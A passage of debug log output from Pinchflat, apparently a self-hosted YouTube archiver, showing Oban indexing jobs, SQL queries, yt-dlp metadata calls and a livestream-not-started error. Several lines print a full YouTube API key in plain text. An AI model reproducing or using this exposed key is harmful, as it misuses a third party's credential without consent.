m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:55.268 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:55.268 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:37:55.268 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:55.268 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:55.430 [debug] QUERY OK source="media_items" db=0.6ms idle=162.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "RFdUqYYAok4", "d4OvQ3ab3LU", "2zW3Yfqguqo", "TliajZWaa6w", "KxPnKhHwTss", "CNXmT6_AgYI", "9MeAJILthTI", "Sa3rM0oMmII", "XI57UTwhiHk", "ViBIKuIjePA", "wk-5m6cDEFg", "0Tot2YHwYNw", "vXMKnG6EI-o", "qj89Pt8CG8Y", "0IEv_NJo28w", "jmg3WF44TX4", "dFAjDGLGGdo", "1YcOlzRT5fI", "kZRvqOLkYT8", "1Z7bFTHQVLE", "6bKxtOkucuE", "8W8aD92ICuA", "i302110skWk", "13rEmidnw4A", "-X2v_sQA-j0", "L0rHhCEKvgo", "nYD-kE0bAY4", "XUlR2DVedTg", "l2X92jlagKg", "1igbvUoJcP8", "7514uMl2EX0", "I3mHsRo707I", "fUxEAMiqGYY", "mD4HUXQMG2U", "f3q2mXFrACc", "g8YEYPROiwk", "slWVHwC-XHc", "iBfyeFSpPXU", "9kBUy4NgMAI", "cljD9rspFsA", "IM1njZ0AuP8", "gW-kYYBK5t4", "tobDwFmXHwQ", "8U8zEXmqpRI", "_E049Xhgah4", "Iwzmx_EyHJI", "TRMxPhMhq70", "FHvAe63pYvM", "IKVwG8AizeA", ...] 16:37:55.433 [debug] QUERY OK source="media_items" db=2.1ms idle=163.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:37:55.434 [debug] QUERY OK source="tasks" db=0.1ms idle=166.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268286, 38, ~U[2026-10-09 21:37:55Z], ~U[2026-10-09 21:37:55Z]] 16:37:55.434 [info] {"args":{"id":38},"id":5268247,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":167105,"event":"job:stop","queue_time":422931,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:38:00.404 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:14.848 [info] {"source":"oban","duration":10052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":12} 16:38:44.859 [info] {"source":"oban","duration":10057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":4} 16:38:58.114 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/f2/3b/f23b6a7a3df315adedb0c8550dd37fd1c50e65d9ce1934833b3ee2a869031c74.json --sleep-requests 88 --sleep-interval 68 --sleep-subtitles 66 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 16:38:58.114 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 16:38:58.114 [debug] QUERY OK source="media_items" db=0.4ms idle=1420.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 16:38:58.115 [debug] QUERY OK source="tasks" db=0.1ms idle=1421.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268287, 19, ~U[2026-10-09 21:38:58Z], ~U[2026-10-09 21:38:58Z]] 16:38:58.116 [info] {"args":{"id":19},"id":5268238,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":168958468,"event":"job:stop","queue_time":951797,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:39:00.404 [info] {"source":"oban","duration":79,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:14.870 [info] {"source":"oban","duration":9906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:39:44.881 [info] {"source":"oban","duration":10012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":13} 16:39:55.389 [info] {"args":{"id":14},"id":5268248,"meta":{},"system_time":1791581995389184486,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:39:55.389 [debug] QUERY OK source="sources" db=0.1ms idle=1007.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:39:55.389 [debug] QUERY OK source="settings" db=0.0ms idle=695.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:39:55.390 [debug] QUERY OK source="media_profiles" db=0.5ms idle=695.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:39:55.390 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:39:55.390 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:39:55.390 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:39:55.390 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:39:55.556 [debug] QUERY OK source="media_items" db=0.6ms idle=166.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "uMhdcq2rqUU", "E5p4TgCNd1I", "NS1Qlu1JTOs", "Nx6ThYgEtg8", "yTD_VbxleZU", "AR-F8Ttpld8", "XQNhCU17ipM", "Hj_yRDR9EzE", "9KwLFC6RDGk", "qz9DvI-NY6k", "oCez-4XUoew", "5bsI3M44NWo", "AVd3ds5U2xc", "NQGYqypeUOs", "-SSI6E5QCOw", "j43j9iwU158", "-mKb75P7wT0", "mWFKVqtAkeI", "qUVsX49fNFw", "b1huB4CSzks", "bMPgRlgcJcE", "ssavPVf6JvE", "mrcnQu6Xfas", "W5fK8BmgBow", "3lJ5oT_JviI", "TpVM45JNupQ", "oMUaZsvJQVQ", "xVm6_IIrHc4", "XXrCAC6bUsk", "Y4IJxO518mI", "DsfsZQjOfu0", "1i8a24si74Y", "E2KfkGF77uo", "-iwvu0uozhs", "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", ...] 16:39:55.558 [debug] QUERY OK source="media_items" db=1.6ms idle=167.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:39:55.559 [debug] QUERY OK source="tasks" db=0.1ms idle=168.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268288, 14, ~U[2026-10-09 21:39:55Z], ~U[2026-10-09 21:39:55Z]] 16:39:55.559 [info] {"args":{"id":14},"id":5268248,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":170441,"event":"job:stop","queue_time":369321,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:40:00.405 [info] {"source":"oban","duration":69,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:04.398 [info] {"args":{"id":42},"id":5268249,"meta":{},"system_time":1791582004398209529,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:40:04.398 [debug] QUERY OK source="sources" db=0.1ms idle=1704.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 16:40:04.398 [debug] QUERY OK source="settings" db=0.0ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:04.398 [debug] QUERY OK source="media_profiles" db=0.1ms idle=704.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:40:04.399 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:04.399 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 16:40:04.399 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:04.399 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:40:04.483 [debug] QUERY OK source="media_items" db=0.3ms idle=84.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?)) [42, "eF6hxEXwgso", "Wzir-lrTI9A", "JAvHibORZ50", "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 16:40:04.483 [debug] QUERY OK source="settings" db=0.0ms idle=84.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:04.483 [debug] QUERY OK source="settings" db=0.0ms idle=84.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:04.483 [debug] Running yt-dlp command for action: get_media_attributes 16:40:04.484 [debug] QUERY OK source="settings" db=0.0ms idle=85.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:04.484 [debug] QUERY OK source="settings" db=0.0ms idle=85.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:04.484 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:04.484 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cd/22/cd22e1d090c87994a3706cb9a17cfa266826cbc1682fc72e9767a0cea6963fc3.json --sleep-requests 80 --sleep-interval 64 --sleep-subtitles 75 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:40:08.402 [info] {"args":{"id":12},"id":5268250,"meta":{},"system_time":1791582008402401064,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:40:08.402 [debug] QUERY OK source="sources" db=0.1ms idle=708.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 16:40:08.402 [debug] QUERY OK source="settings" db=0.1ms idle=708.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:08.403 [debug] QUERY OK source="media_profiles" db=0.0ms idle=709.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:40:08.403 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:08.403 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 16:40:08.403 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:08.403 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:40:08.546 [debug] QUERY OK source="media_items" db=0.6ms idle=143.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "1MNtfa4Vz3A", "SMPOq2HLKUA", "J0Jqwz1TYWY", "pWDda2xpEMs", "T7iG4HQX1k0", "y5HI3H-HonQ", "BDp3y1ESUgs", "tQXkGF1aj6g", "Dr8H7Mk0mlQ", "r8fCHfCYDM8", "zNFfKizSREg", "wynxywGRI4s", "wJruCJeJfhs", "65-gDU6-KDk", "ESky67qiImY", "YH1c3ui1YSw", "JCDjCkqhVsY", "yD5jWchlMJU", "AvdTb-b0K1Y", "r_GPHfEGYs8", "asbD9Y76skM", "tPava4N8yTA", "zDjFEJc_Wko", "lKt1uRckoK0", "X_VZkrKSxuE", "ub4JMolyisQ", "yRqmozs41jw", "EUkZGw-Ogtw", "FcaiBjj8sFU", "wzDc7xge5YI", "DRIN_5Cyfdw", "8148SmsqtPM", "4Xv2V0Ci-lM", "qHEh5yYRVpg", "Ipkp8QTQWAo", "tpdd_YDkHHM", "u4f2nkXMrfo", "pNfgQ-KqHR4", "T_u143DsQMA", "UwXJe1PjsxQ", "Yc0D5TR3fc0", "-t6uMUCLPrE", "AtOWpZbW7TY", "D46EY7Jk95E", "ZouMQaeHss4", "BYlKyhWoaak", "GQyCEfs1Uvo", "FfStumRlass", "KhM0q0vsitA", ...] 16:40:08.547 [debug] QUERY OK source="media_items" db=0.5ms idle=144.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS 